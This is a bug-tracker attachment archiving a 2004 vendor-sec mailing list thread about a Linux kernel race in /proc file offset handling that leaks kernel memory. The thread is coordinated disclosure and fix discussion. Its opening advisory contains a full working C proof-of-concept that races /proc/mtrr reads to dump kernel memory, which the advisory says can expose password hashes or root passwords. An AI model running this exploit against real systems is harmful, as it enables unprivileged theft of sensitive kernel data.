Attachment 21716 Details for Bug 56074

vendor-sec discussion

proc.txt (text/plain), 32.40 KB, created by Thomas Biege on 2004-06-28 14:35:16 UTC

(hide)

Description:

Filename:

MIME Type:

Creator: Thomas Biege

Created: 2004-06-28 14:35:16 UTC

Size: 32.40 KB

patch

obsolete

>From ihaquer@isec.pl Mon Jun 28 08:32:53 2004
>Date: Mon, 24 May 2004 13:52:43 +0200 (CEST)
>From: Paul Starzetz <ihaquer@isec.pl>
>Reply-To: isec@isec.pl
>To: vendor-sec <vendor-sec@lst.de>
>Subject: [vendor-sec] Proc leaks
>
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>
>Synopsis:  Linux kernel file system signedness issues
>Product:   Linux kernel
>Version:   2.4 up to to and including 2.4.26, 2.6 up to to and including 2.6.6
>Vendor:    http://www.kernel.org/
>URL:       http://isec.pl/vulnerabilities/ ?
>CVE:       not assigned
>Author:    Paul Starzetz <ihaquer@isec.pl>
>Date:      May 24, 2004
>
>
>Issue:
>======
>
>A critical security vulnerability has been found in the Linux kernel while 
>handling file offset pointers. 
>
>
>Details:
>========
>
>The Linux kernel offers a file handling API to the applications. Basically a 
>file can be identified by a file name and opened through the open(2) system call 
>which in turn returns a file descriptor for the file ressource.
>
>One of the properties of a file is also something called 'file offset' which is 
>advanced if one reads or writtes to the file. It can also by changed through the 
>lseek(2) system call and identifies the current writing/reading position.
>
>There are two different versions of the file handling API inside the kernel: the 
>old 32 bit and the new (LFS) 64 bit API. We have identified numerous places 
>where invalid conversions from 64 bit sized file offsets to 32 bit ones. 
>
>We have found that most of the /proc entries (like /proc/version) leaks about 
>one page of unitialized kernel memory and can be used to obtain sensitive data.
>
>We have found a dozen of places with suspicious or bogus code. One of them 
>resides in the MTRR handling code for the i386 architecture:
>
>
>static ssize_t mtrr_read (struct file *file, char *buf, size_t len,
>			  loff_t *ppos)
>{
>[1] if (*ppos >= ascii_buf_bytes) return 0;
>[2] if (*ppos + len > ascii_buf_bytes) len = ascii_buf_bytes - *ppos;
>    if ( copy_to_user (buf, ascii_buffer + *ppos, len) ) return -EFAULT;
>[3] *ppos += len;
>    return len;
>}   /*  End Function mtrr_read  */
>
>
>It is quite easy to see that since copy_to_user can sleep, the second reference 
>to *ppos may use another value. To conclude: code operating on the file->f_pos 
>variable through a pointer must be atomic in respect to the current thread. We 
>expect more troubles in the SMP case though.
>
>
>Exploitation:
>=============
>
>In the following we want to concentrate onto the mttr.c code, however we think 
>that also other pieces of the kernel code may be exploitable.
>
>The idea is to use the blocking property of copy_to_user to advance the 
>file->f_pos file offset to be negative allowing us to bypass the two checks 
>marked with [1] and [2] in the above code.
>
>There are two situation where copy_to_user() will sleep if there is no page 
>table entry for the corresponding location in the user buffer:
>
>- - the underlying buffer maps a file which is not in the page cache. The file 
>must be first rwad from the disk
>
>- - the mmap_sem of the process is in a closed state, that means another thread 
>sharing the same VM caused a down_write on the semaphore.
>
>We use the second method as follows. One of two threads sharing same VM issues a 
>madvise(2) call on a VMA that maps some, sufficiently big file setting the 
>madvise flag to WILLNEED. This will issue a down_write on the mmap semaphore and 
>schedule a read-ahead request for the mmaped file.
>
>Second thread issues in the mean time a read on the /proc/mtrr file thus going 
>for sleep until the first thread returns from the madvise system call. The 
>threads will be woken up in a FIFO manner thus the first thread will run as 
>first and can advance the file pointer of the proc file to the maximum possible 
>value of 0x7fffffffffffffff while the second thread is still waiting in the 
>scheduler queue for CPU.
>
>After the place marked with [3] has been executed, the file position will have a 
>negative value and the checks [1] and [2] can be passed for any user buffer 
>length thus leaking the kernel memory from the address of ascii_buffer on.
>
>We have attached a proof-of-concept exploit code.
>
>
>Impact:
>=======
>
>Since no special privileges are required to open the /proc/mtrr file for reading 
>any process may exploit the bug to read huge parts of kernel memory.
>
>The kernel memory dump may include very sensitive information like hashed 
>passwords from /etc/shadow or even the root passwort. We have found that after 
>the root user logged in using ssh, the root passwort was keept in kernel memory. 
>This is very surprising since sshd will quickly clean the memory containing the 
>supplied password. But the password may have made its way through various kernel 
>paths like pipes or sockets.
>
>Tested and known to be vulnerable kernel versions are all <= 2.4.26 and <= 
>2.6.5. All users are encouraged to patch all vulnerable systems as soon as 
>appropriate vendor patches are released. There is no hotfix for this 
>vulnerability. 
>
>
>Credits:
>========
>
>Paul Starzetz <ihaquer@isec.pl> has identified the vulnerability and performed 
>further research. COPYING, DISTRIBUTION, AND MODIFICATION OF INFORMATION 
>PRESENTED HERE IS ALLOWED ONLY WITH EXPRESS PERMISSION OF ONE OF THE AUTHORS.
>
>
>Disclaimer:
>===========
>
>This document and all the information it contains are provided "as is", for 
>educational purposes only, without warranty of any kind, whether express or 
>implied.
>
>The authors reserve the right not to be responsible for the topicality, 
>correctness, completeness or quality of the information  provided in this 
>document. Liability claims regarding damage caused by the use of any information 
>provided, including any kind of information which is incomplete or incorrect, 
>will therefore be rejected.
>
>
>Appendix:
>=========
>
>/*
> *
> *      /proc ppos kernel memory read
> *
> *		the semaphore method
> *
> *		by IhaQueR
> *
> *      Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
> *
> *      THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
> *      AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
> *      WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
> *
> */
>
>
>#define _GNU_SOURCE
>
>#include <stdio.h>
>#include <stdlib.h>
>#include <signal.h>
>#include <string.h>
>#include <errno.h>
>#include <unistd.h>
>#include <fcntl.h>
>#include <time.h>
>#include <sched.h>
>
>#include <sys/socket.h>
>#include <sys/select.h>
>#include <sys/time.h>
>#include <sys/mman.h>
>
>#include <linux/unistd.h>
>
>#include <asm/page.h>
>
>
>//	machine mem size in MB
>#define MEMSIZE	64
>
>
>
>_syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res, uint, wh);
>
>
>
>void fatal(const char *msg)
>{
>	printf("\n");
>	if(!errno) {
>		fprintf(stderr, "FATAL: %s\n", msg);
>	}
>	else {
>		perror(msg);
>	}
>
>	printf("\n");
>	fflush(stdout);
>	fflush(stderr);
>	exit(1);
>}
>
>
>static int cpid, nc, fd, pfd, r=0, i=0, csize, fsize=1024*1024*MEMSIZE, size=PAGE_SIZE, us;
>static volatile int go[2];
>static loff_t off;
>static char *buf=NULL, *file, child_stack[PAGE_SIZE];
>static struct timeval tv1, tv2;
>static struct stat st;
>
>
>//	child close sempahore & sleep
>int start_child(void *arg)
>{
>//	unlock parent & close semaphore
>	go[0]=0;
>	madvise(file, csize, MADV_DONTNEED);
>	madvise(file, csize, MADV_SEQUENTIAL);
>	gettimeofday(&tv1, NULL);
>	read(pfd, buf, 0);
>
>	go[0]=1;
>	r = madvise(file, csize, MADV_WILLNEED);
>	if(r)
>		fatal("madvise");
>
>//	parent blocked on mmap_sem? GOOD!
>	if(go[1] == 1 || _llseek(pfd, 0, 0, &off, SEEK_CUR)<0 ) {
>		r = _llseek(pfd, 0x7fffffff, 0xffffffff, &off, SEEK_SET);
>			if( r == -1 )
>				fatal("lseek");
>		printf("\n[+] Race won!"); fflush(stdout);
>		go[0]=2;
>	} else {
>		printf("\n[-] Race lost %d, use another file!\n", go[1]); fflush(stdout);
>		kill(getppid(), SIGTERM);
>	}
>	_exit(1);
>
>return 0;
>}
>
>
>void usage(char *name)
>{
>	printf("\nUSAGE: %s <file not in cache>", name);
>	printf("\n\n");
>	exit(1);
>}
>
>
>int main(int ac, char **av)
>{
>	if(ac<2)
>		usage(av[0]);
>
>//	mmap not cached file
>	r=stat(av[1], &st);
>	if(r)
>		fatal("stat file");
>	csize = (st.st_size + (PAGE_SIZE-1)) & ~(PAGE_SIZE-1);
>
>	fd=open(av[1], O_RDONLY);
>	if(fd<0)
>		fatal("open file");
>	file=mmap(NULL, csize, PROT_READ, MAP_SHARED, fd, 0);
>	if(file==MAP_FAILED)
>		fatal("mmap");
>	close(fd);
>	printf("\n[+] mmaped uncached file at %p - %p", file, file+csize); fflush(stdout);
>
>//	open proc file
>	pfd=open("/proc/mtrr", O_RDONLY);
>	if(pfd<0)
>		fatal("open");
>
>//	open storage file
>	fd=open("kmem.dat", O_RDWR|O_CREAT|O_TRUNC, 0644);
>	if(fd<0)
>		fatal("open data");
>
>//	truncate to memsize
>	r=ftruncate(fd, fsize);
>	if(r<0)
>		fatal("ftruncate");
>
>	buf=mmap(NULL, fsize, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
>	if(buf==MAP_FAILED)
>		fatal("mmap");
>	close(fd);
>	printf("\n[+] mmaped kernel data file at %p", buf); fflush(stdout);
>
>//	clone thread wait for child sleep
>	nc = nice(0);
>	cpid=clone(&start_child, child_stack + sizeof(child_stack)-4, CLONE_FILES|CLONE_VM, NULL);
>	nice(19-nc);
>	while(go[0]==0) {
>		i++;
>	}
>
>//	try to read & sleep & move fpos to be negative
>	gettimeofday(&tv1, NULL);
>	go[1] = 1;
>	r = read(pfd, buf, size );
>	go[1] = 2;
>	gettimeofday(&tv2, NULL);
>	if(r<0)
>		fatal("read");
>	while(go[0]!=2) {
>		i++;
>	}
>
>	us = tv2.tv_sec - tv1.tv_sec;
>	us *= 1000000;
>	us += (tv2.tv_usec - tv1.tv_usec) ;
>
>	printf("\n[+] READ %d bytes in %d usec", r, us); fflush(stdout);
>	r = _llseek(pfd, 0, 0, &off, SEEK_CUR);
>	if(r < 0 ) {
>		printf("\n[+] SUCCESS, lseek fails, reading kernel mem...\n"); fflush(stdout);
>		i=0;
>		for(;;) {
>			r = read(pfd, buf, PAGE_SIZE );
>			if(r!=PAGE_SIZE)
>				break;
>			buf += PAGE_SIZE;
>			i++;
>			printf("\r    PAGE %6d", i); fflush(stdout);
>		}
>		printf("\n[+] done, err=%s", strerror(errno) ); fflush(stdout);
>	}
>	close(pfd);
>
>	printf("\n");
>	sleep(1);
>	kill(cpid, 9);
>
>return 0;
>}
>
>- -- 
>Paul Starzetz
>iSEC Security Research
>http://isec.pl/
>
>-----BEGIN PGP SIGNATURE-----
>Version: GnuPG v1.0.7 (GNU/Linux)
>
>iD8DBQFAseIPC+8U3Z5wpu4RAgFNAJ9x/drGOB71MIY1a5ppzq2h97RVKgCfZj5A
>2ANXZBt4Y5FNplUBHgw0eEg=
>=z2qo
>-----END PGP SIGNATURE-----
>
>
>_______________________________________________
>Vendor Security mailing list
>Vendor Security@lst.de
>https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec
>
>From draht@suse.de Mon Jun 28 08:33:00 2004
>Date: Mon, 24 May 2004 15:26:42 +0200 (MEST)
>From: Roman Drahtmueller <draht@suse.de>
>To: isec@isec.pl, Paul Starzetz <ihaquer@isec.pl>
>Cc: vendor-sec <vendor-sec@lst.de>
>Subject: Re: [vendor-sec] Proc leaks
>
>Hello Paul,
>
>
>> Synopsis:  Linux kernel file system signedness issues
>> Product:   Linux kernel
>> Version:   2.4 up to to and including 2.4.26, 2.6 up to to and including 2.6.6
>> Vendor:    http://www.kernel.org/
>> URL:       http://isec.pl/vulnerabilities/ ?
>> CVE:       not assigned
>> Author:    Paul Starzetz <ihaquer@isec.pl>
>> Date:      May 24, 2004
>>
>>
>> Issue:
>> ======
>>
>> A critical security vulnerability has been found in the Linux kernel while
>> handling file offset pointers.
>
>Good spotting, again...
>
>Paul, what is the public disclosure timeline for this bug?
>The vendors will be doing several fixes in one update - the collection of
>bugs is ongoing. :-/ The bug that you have found currently is the worst of
>them.
>
>I suggest Tuesday, June 29th, 16:00 MEST, as it would fit with other
>vulnerabilities that get reported.
>
>Comments?
>
>
>Thanks,
>Roman.
>
>_______________________________________________
>Vendor Security mailing list
>Vendor Security@lst.de
>https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec
>
>From ihaquer@isec.pl Mon Jun 28 08:33:06 2004
>Date: Mon, 24 May 2004 17:38:28 +0200 (CEST)
>From: Paul Starzetz <ihaquer@isec.pl>
>To: isec@isec.pl
>Cc: vendor-sec <vendor-sec@lst.de>
>Subject: Re: [iSEC] Re: [vendor-sec] Proc leaks
>
>On Mon, 24 May 2004, Roman Drahtmueller wrote:
>
>> Hello Paul,
>> 
>> Good spotting, again...
>> 
>> Paul, what is the public disclosure timeline for this bug?
>> The vendors will be doing several fixes in one update - the collection of
>> bugs is ongoing. :-/ The bug that you have found currently is the worst of
>> them.
>> 
>> I suggest Tuesday, June 29th, 16:00 MEST, as it would fit with other
>> vulnerabilities that get reported.
>
>Seems ok for us.
>
>-- 
>Paul Starzetz
>iSEC Security Research
>http://isec.pl/
>
>
>_______________________________________________
>Vendor Security mailing list
>Vendor Security@lst.de
>https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec
>
>From marcelo.tosatti@cyclades.com Mon Jun 28 08:33:12 2004
>Date: Fri, 25 Jun 2004 10:45:43 -0300
>From: Marcelo Tosatti <marcelo.tosatti@cyclades.com>
>To: Roman Drahtmueller <draht@suse.de>
>Cc: isec@isec.pl, Paul Starzetz <ihaquer@isec.pl>,
>    vendor-sec <vendor-sec@lst.de>
>Subject: Re: [vendor-sec] Proc leaks
>
>On Mon, May 24, 2004 at 03:26:42PM +0200, Roman Drahtmueller wrote:
>> Hello Paul,
>> 
>> 
>> > Synopsis:  Linux kernel file system signedness issues
>> > Product:   Linux kernel
>> > Version:   2.4 up to to and including 2.4.26, 2.6 up to to and including 2.6.6
>> > Vendor:    http://www.kernel.org/
>> > URL:       http://isec.pl/vulnerabilities/ ?
>> > CVE:       not assigned
>> > Author:    Paul Starzetz <ihaquer@isec.pl>
>> > Date:      May 24, 2004
>> >
>> >
>> > Issue:
>> > ======
>> >
>> > A critical security vulnerability has been found in the Linux kernel while
>> > handling file offset pointers.
>> 
>> Good spotting, again...
>> 
>> Paul, what is the public disclosure timeline for this bug?
>> The vendors will be doing several fixes in one update - the collection of
>> bugs is ongoing. :-/ The bug that you have found currently is the worst of
>> them.
>> 
>> I suggest Tuesday, June 29th, 16:00 MEST, as it would fit with other
>> vulnerabilities that get reported.
>> 
>> Comments?
>
>Anyone wrote a correction for the mtrr case? 
>
>And what about other cases?
>
>Thanks
>_______________________________________________
>Vendor Security mailing list
>Vendor Security@lst.de
>https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec
>
>From mjc@redhat.com Mon Jun 28 08:33:19 2004
>Date: Tue, 25 May 2004 08:53:47 +0100 (BST)
>From: Mark J Cox <mjc@redhat.com>
>To: isec@isec.pl
>Cc: vendor-sec <vendor-sec@lst.de>
>Subject: Re: [vendor-sec] Proc leaks
>
>> CVE:       not assigned
>
>CAN-2004-0415
>
>> We have found a dozen of places with suspicious or bogus code. One of them 
>> resides in the MTRR handling code for the i386 architecture:
>
>Since the flaws sould like they are all of the same type, and assuming 
>they all get fixed at the same time a single CVE name will suffice.
>
>Cheers, Mark
>_______________________________________________
>Vendor Security mailing list
>Vendor Security@lst.de
>https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec
>
>From solar@openwall.com Mon Jun 28 08:33:23 2004
>Date: Wed, 26 May 2004 01:41:17 +0400
>From: Solar Designer <solar@openwall.com>
>To: isec@isec.pl
>Cc: vendor-sec <vendor-sec@lst.de>
>Subject: Re: [vendor-sec] Proc leaks
>
>On Mon, May 24, 2004 at 01:52:43PM +0200, Paul Starzetz wrote:
>> We have found that most of the /proc entries (like /proc/version) leaks about 
>> one page of unitialized kernel memory and can be used to obtain sensitive data.
>
>Why are these not susceptible to the same attack that you describe
>below for /proc/mtrr?  The code in generic.c: proc_file_read() appears
>to use *ppos in a very similar way, so it too should be usable to
>achieve a negative *ppos value.  Then the question is how to read more
>than one page worth of uninitialized kernel memory given a negative
>*ppos.  You use a second read from /proc/mtrr for that, relying on the
>signedness of its sanity checks.  So if another instance of a /proc
>handler with similar signed checks exists, it too could be used to
>leak arbitrary amounts of uninitialized kernel memory contents.  Am I
>on the right track with this?
>
>Also the code for /proc/profile looks very bad, but it's usually not
>compiled in.
>
>> We have found that after 
>> the root user logged in using ssh, the root passwort was keept in kernel memory. 
>> This is very surprising since sshd will quickly clean the memory containing the 
>> supplied password. But the password may have made its way through various kernel 
>> paths like pipes or sockets.
>
>If the sshd build was PAM'ified (was it?), it could as well be PAM
>modules (very likely) or the PAM library (less likely).
>
>Thanks!
>
>-- 
>/sd
>_______________________________________________
>Vendor Security mailing list
>Vendor Security@lst.de
>https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec
>
>From solar@openwall.com Mon Jun 28 08:33:26 2004
>Date: Wed, 26 May 2004 01:52:18 +0400
>From: Solar Designer <solar@openwall.com>
>To: vendor-sec <vendor-sec@lst.de>
>Subject: Re: [vendor-sec] Proc leaks
>
>On Mon, May 24, 2004 at 01:52:43PM +0200, Paul Starzetz wrote:
>> To conclude: code operating on the file->f_pos 
>> variable through a pointer must be atomic in respect to the current thread. We 
>> expect more troubles in the SMP case though.
>
>I think that in order to solve this in the most appropriate way, it
>would have been nice to bring this to the attention of Linus himself.
>The only problem is Linus didn't want to knowingly put out kernel
>snapshots with security bugs, so he might not want to wait for a
>coordinated disclosure date negotiated by vendor-sec members...
>
>Regarding solving this for SMP, -- do we even have atomic 64-bit
>addition on all 32-bit systems supported by Linux, or do we have to
>add a spinlock into struct file?
>
>-- 
>/sd
>_______________________________________________
>Vendor Security mailing list
>Vendor Security@lst.de
>https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec
>
>From alan@lxorguk.ukuu.org.uk Mon Jun 28 08:33:29 2004
>Date: Wed, 26 May 2004 18:32:45 +0100
>From: Alan Cox <alan@lxorguk.ukuu.org.uk>
>To: Solar Designer <solar@openwall.com>
>Cc: vendor-sec <vendor-sec@lst.de>
>Subject: Re: [vendor-sec] Proc leaks
>
>On Maw, 2004-05-25 at 22:52, Solar Designer wrote:
>> Regarding solving this for SMP, -- do we even have atomic 64-bit
>> addition on all 32-bit systems supported by Linux, or do we have to
>> add a spinlock into struct file?
>
>There are locking rules for seek operations and each device can also
>override the seek operation if it wishes. So if procfs wants to
>provide a locked seek v read/write it can do so.
>
>_______________________________________________
>Vendor Security mailing list
>Vendor Security@lst.de
>https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec
>
>From solar@openwall.com Mon Jun 28 08:33:37 2004
>Date: Thu, 27 May 2004 02:43:16 +0400
>From: Solar Designer <solar@openwall.com>
>To: Alan Cox <alan@lxorguk.ukuu.org.uk>
>Cc: vendor-sec <vendor-sec@lst.de>
>Subject: Re: [vendor-sec] Proc leaks
>
>On Wed, May 26, 2004 at 06:32:45PM +0100, Alan Cox wrote:
>> There are locking rules for seek operations and each device can also
>> override the seek operation if it wishes. So if procfs wants to
>> provide a locked seek v read/write it can do so.
>
>Can you point me at an llseek handler which implements any locking?
>
>I only see the pair lock_kernel() ... unlock_kernel() in the llseek()
>wrapper function in read_write.c, but I don't see any locking in any
>of the underlying f_op->llseek's.
>
>Maybe the solution is then to introduce lock_kernel() ...
>unlock_kernel() into the appropriate procfs read/write functions?
>
>Thanks!
>
>-- 
>/sd
>_______________________________________________
>Vendor Security mailing list
>Vendor Security@lst.de
>https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec
>
>From viro@parcelfarce.linux.theplanet.co.uk Mon Jun 28 08:33:41 2004
>Date: Wed, 26 May 2004 23:56:59 +0100
>From: viro@parcelfarce.linux.theplanet.co.uk
>To: Solar Designer <solar@openwall.com>
>Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>, vendor-sec <vendor-sec@lst.de>
>Subject: Re: [vendor-sec] Proc leaks
>
>On Thu, May 27, 2004 at 02:43:16AM +0400, Solar Designer wrote:
>> On Wed, May 26, 2004 at 06:32:45PM +0100, Alan Cox wrote:
>> > There are locking rules for seek operations and each device can also
>> > override the seek operation if it wishes. So if procfs wants to
>> > provide a locked seek v read/write it can do so.
>> 
>> Can you point me at an llseek handler which implements any locking?
>> 
>> I only see the pair lock_kernel() ... unlock_kernel() in the llseek()
>> wrapper function in read_write.c, but I don't see any locking in any
>> of the underlying f_op->llseek's.
>> 
>> Maybe the solution is then to introduce lock_kernel() ...
>> unlock_kernel() into the appropriate procfs read/write functions?
>
>BKL is completely irrelevant (so's procfs involvement, actually).
>
>What we have here is a bunch of FUBAR instances of ->read(); sane ones
>fetch *ppos only once, broken pull the crap like that.  All that stuff
>needs fixing and is trivial to find and fix (got the list of all
>relevant instances already).  And no, they are not limited to procfs.
>
>Note that in cases where BKL might help we usually get saved by compiler
>anyway - such "light" instances tend to have several accesses to *ppos
>so close to each other that they end up optimized away even on
>register-starved boxen.  They still need fixing, obviously, but BKL
>would be utterly useless:
>	1) it's not just procfs (and not even mostly procfs)
>	2) in "heavy" cases it fixes nothing
>	3) in "light" ones we tend to get saved by compiler, BKL or not.
>BKL won't close any practical races and will leave the junk code just as
>bad as it was.
>_______________________________________________
>Vendor Security mailing list
>Vendor Security@lst.de
>https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec
>
>From solar@openwall.com Mon Jun 28 08:33:44 2004
>Date: Thu, 27 May 2004 03:14:32 +0400
>From: Solar Designer <solar@openwall.com>
>To: viro@parcelfarce.linux.theplanet.co.uk
>Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>, vendor-sec <vendor-sec@lst.de>
>Subject: Re: [vendor-sec] Proc leaks
>
>On Wed, May 26, 2004 at 11:56:59PM +0100, viro@parcelfarce.linux.theplanet.co.uk wrote:
>> On Thu, May 27, 2004 at 02:43:16AM +0400, Solar Designer wrote:
>> > Maybe the solution is then to introduce lock_kernel() ...
>> > unlock_kernel() into the appropriate procfs read/write functions?
>> 
>> BKL is completely irrelevant
>
>Why is the llseek() wrapper function acquiring BKL then?
>
>> (so's procfs involvement, actually).
>
>That's no surprise...
>
>> What we have here is a bunch of FUBAR instances of ->read(); sane ones
>> fetch *ppos only once, broken pull the crap like that.
>
>Speaking of the issue of read/write advancing *ppos by the number of
>bytes read/written, is the correct fix to just use:
>
>	prev_pos = *ppos;
>	// actual read/write operation
>	*ppos = prev_pos + count;
>
>If the assignment to *ppos were atomic (which I don't think it is!),
>it would result in the seek being ignored which is probably OK.
>
>Now, we need atomic reads/writes of *ppos, which is a 64-bit value on
>possibly 32-bit systems...
>
>Or am I missing something again?
>
>Thanks for commenting on this!
>
>-- 
>/sd
>_______________________________________________
>Vendor Security mailing list
>Vendor Security@lst.de
>https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec
>
>From okir@suse.de Mon Jun 28 08:33:47 2004
>Date: Thu, 27 May 2004 10:00:54 +0200
>From: Olaf Kirch <okir@suse.de>
>To: Solar Designer <solar@openwall.com>
>Cc: viro@parcelfarce.linux.theplanet.co.uk,
>    Alan Cox <alan@lxorguk.ukuu.org.uk>, vendor-sec <vendor-sec@lst.de>
>Subject: Re: [vendor-sec] Proc leaks
>
>On Thu, May 27, 2004 at 03:14:32AM +0400, Solar Designer wrote:
>> Why is the llseek() wrapper function acquiring BKL then?
>
>The BKL is released when you go to sleep; which may happen if
>data needs to be paged in.
>
>Olaf
>-- 
>Olaf Kirch     |  The Hardware Gods hate me.
>okir@suse.de   |
>---------------+ 
>_______________________________________________
>Vendor Security mailing list
>Vendor Security@lst.de
>https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec
>
>From solar@openwall.com Mon Jun 28 08:33:50 2004
>Date: Fri, 28 May 2004 01:42:17 +0400
>From: Solar Designer <solar@openwall.com>
>To: Olaf Kirch <okir@suse.de>
>Cc: viro@parcelfarce.linux.theplanet.co.uk,
>    Alan Cox <alan@lxorguk.ukuu.org.uk>, vendor-sec <vendor-sec@lst.de>
>Subject: Re: [vendor-sec] Proc leaks
>
>On Thu, May 27, 2004 at 10:00:54AM +0200, Olaf Kirch wrote:
>> On Thu, May 27, 2004 at 03:14:32AM +0400, Solar Designer wrote:
>> > Why is the llseek() wrapper function acquiring BKL then?
>> 
>> The BKL is released when you go to sleep; which may happen if
>> data needs to be paged in.
>
>Yes.  And your point is?..
>
>Yes, it would not have solved the mtrr issue which is not specific to
>SMP.  But I asked why the BKL is even acquired in the existing llseek()
>wrapper function (that's in the _existing_ code!), and I previously
>said that, given that BKL is already used in llseek() in this way, it
>could be further used to avoid the SMP-specific races.  I'm not really
>advocating that approach, -- I'd rather see a spinlock specific to the
>file offset field, -- that would also cover the non-SMP races where
>one of the threads goes to sleep permitting for the attack on UP.  I'd
>only acquire the spinlock for the duration of trivial operations such
>as reads of and assignments to *ppos.  The algorithm to advance file
>offset after a successful read or write could be like this:
>
>	spin_lock(&file->f_pos_lock);
>	if (file->f_pos == prev_pos)
>		file->f_pos = prev_pos + count;
>	spin_unlock(&file->f_pos_lock);
>
>With this approach, the first to complete seek or read/write wins.  If
>this property is not desired, then the "if" statement can be omitted.
>But the spinlock is still needed because of the non-atomicity of
>assignments to file->f_pos on many of the supported platforms.
>
>Alan and Al appear to have different opinions.  Alan has said that
>there're locking conventions for seeks vs. reads/writes already in
>place, -- but I can't find any.  Al has said that it'd be sufficient
>to avoid multiple *ppos loads in a read/write operation, -- that does
>not appear to be sufficient to me for the reasons I have explained.
>
>I may well be missing something, but I felt I'd rather speak up and be
>corrected than let a possible problem remain unnoticed.
>
>-- 
>/sd
>_______________________________________________
>Vendor Security mailing list
>Vendor Security@lst.de
>https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec
>
>From alan@lxorguk.ukuu.org.uk Mon Jun 28 08:33:53 2004
>Date: Thu, 27 May 2004 19:49:02 +0100
>From: Alan Cox <alan@lxorguk.ukuu.org.uk>
>To: viro@parcelfarce.linux.theplanet.co.uk
>Cc: Solar Designer <solar@openwall.com>, vendor-sec <vendor-sec@lst.de>
>Subject: Re: [vendor-sec] Proc leaks
>
>On Mer, 2004-05-26 at 23:56, viro@parcelfarce.linux.theplanet.co.uk
>wrote:
>> What we have here is a bunch of FUBAR instances of ->read(); sane ones
>> fetch *ppos only once, broken pull the crap like that.  All that stuff
>> needs fixing and is trivial to find and fix (got the list of all
>> relevant instances already).  And no, they are not limited to procfs.
>
>The load of *ppos can give you garbage values however. Several
>architectures have no atomic 64bit load, even if you were forcing its
>use. So there is an issue at that point already.
>
>_______________________________________________
>Vendor Security mailing list
>Vendor Security@lst.de
>https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec
>
>From trini@mvista.com Mon Jun 28 08:33:55 2004
>Date: Tue, 15 Jun 2004 08:10:49 -0700
>From: Tom Rini <trini@mvista.com>
>To: Alan Cox <alan@lxorguk.ukuu.org.uk>
>Cc: viro@parcelfarce.linux.theplanet.co.uk,
>    Solar Designer <solar@openwall.com>, vendor-sec <vendor-sec@lst.de>
>Subject: Re: [vendor-sec] Proc leaks
>
>On Thu, May 27, 2004 at 07:49:02PM +0100, Alan Cox wrote:
>
>> On Mer, 2004-05-26 at 23:56, viro@parcelfarce.linux.theplanet.co.uk
>> wrote:
>> > What we have here is a bunch of FUBAR instances of ->read(); sane ones
>> > fetch *ppos only once, broken pull the crap like that.  All that stuff
>> > needs fixing and is trivial to find and fix (got the list of all
>> > relevant instances already).  And no, they are not limited to procfs.
>> 
>> The load of *ppos can give you garbage values however. Several
>> architectures have no atomic 64bit load, even if you were forcing its
>> use. So there is an issue at that point already.
>
>I should probably go brew up some coffee, but...
>
>Is the possibility of getting garbage something we can fix ?  Or,
>would whatever fix to this issue there may be just include some sanity
>check on *ppos ?
>
>-- 
>Tom
>
>    [ Part 2, "Digital signature"  Application/PGP-SIGNATURE  196bytes. ]
>    [ Unable to print this part. ]
>
>
>From solar@openwall.com Mon Jun 28 08:33:58 2004
>Date: Tue, 15 Jun 2004 20:25:43 +0400
>From: Solar Designer <solar@openwall.com>
>To: Tom Rini <trini@mvista.com>
>Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
>    viro@parcelfarce.linux.theplanet.co.uk, vendor-sec <vendor-sec@lst.de>
>Subject: Re: [vendor-sec] Proc leaks
>
>On Tue, Jun 15, 2004 at 08:10:49AM -0700, Tom Rini wrote:
>> On Thu, May 27, 2004 at 07:49:02PM +0100, Alan Cox wrote:
>> 
>> > On Mer, 2004-05-26 at 23:56, viro@parcelfarce.linux.theplanet.co.uk
>> > wrote:
>> > > What we have here is a bunch of FUBAR instances of ->read(); sane ones
>> > > fetch *ppos only once, broken pull the crap like that.  All that stuff
>> > > needs fixing and is trivial to find and fix (got the list of all
>> > > relevant instances already).  And no, they are not limited to procfs.
>> > 
>> > The load of *ppos can give you garbage values however. Several
>> > architectures have no atomic 64bit load, even if you were forcing its
>> > use. So there is an issue at that point already.
>> 
>> I should probably go brew up some coffee, but...
>> 
>> Is the possibility of getting garbage something we can fix ?
>
>Yes.  The spinlock approach would have fixed it.
>
>-- 
>/sd
>_______________________________________________
>Vendor Security mailing list
>Vendor Security@lst.de
>https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec
>
>From trini@mvista.com Mon Jun 28 08:34:00 2004
>Date: Tue, 15 Jun 2004 08:12:05 -0700
>From: Tom Rini <trini@mvista.com>
>To: viro@parcelfarce.linux.theplanet.co.uk
>Cc: Solar Designer <solar@openwall.com>,
>    Alan Cox <alan@lxorguk.ukuu.org.uk>, vendor-sec <vendor-sec@lst.de>
>Subject: Re: [vendor-sec] Proc leaks
>
>On Wed, May 26, 2004 at 11:56:59PM +0100, viro@parcelfarce.linux.theplanet.co.uk wrote:
>
>> What we have here is a bunch of FUBAR instances of ->read(); sane ones
>> fetch *ppos only once, broken pull the crap like that.  All that stuff
>> needs fixing and is trivial to find and fix (got the list of all
>> relevant instances already).  And no, they are not limited to procfs.
>
>Would you mind sharing the list?  Or better yet what you did to generate
>the list?  I wouldn't be surprised if some of us added more bad
>instances in the extra bits we add...  Thanks.
>
>-- 
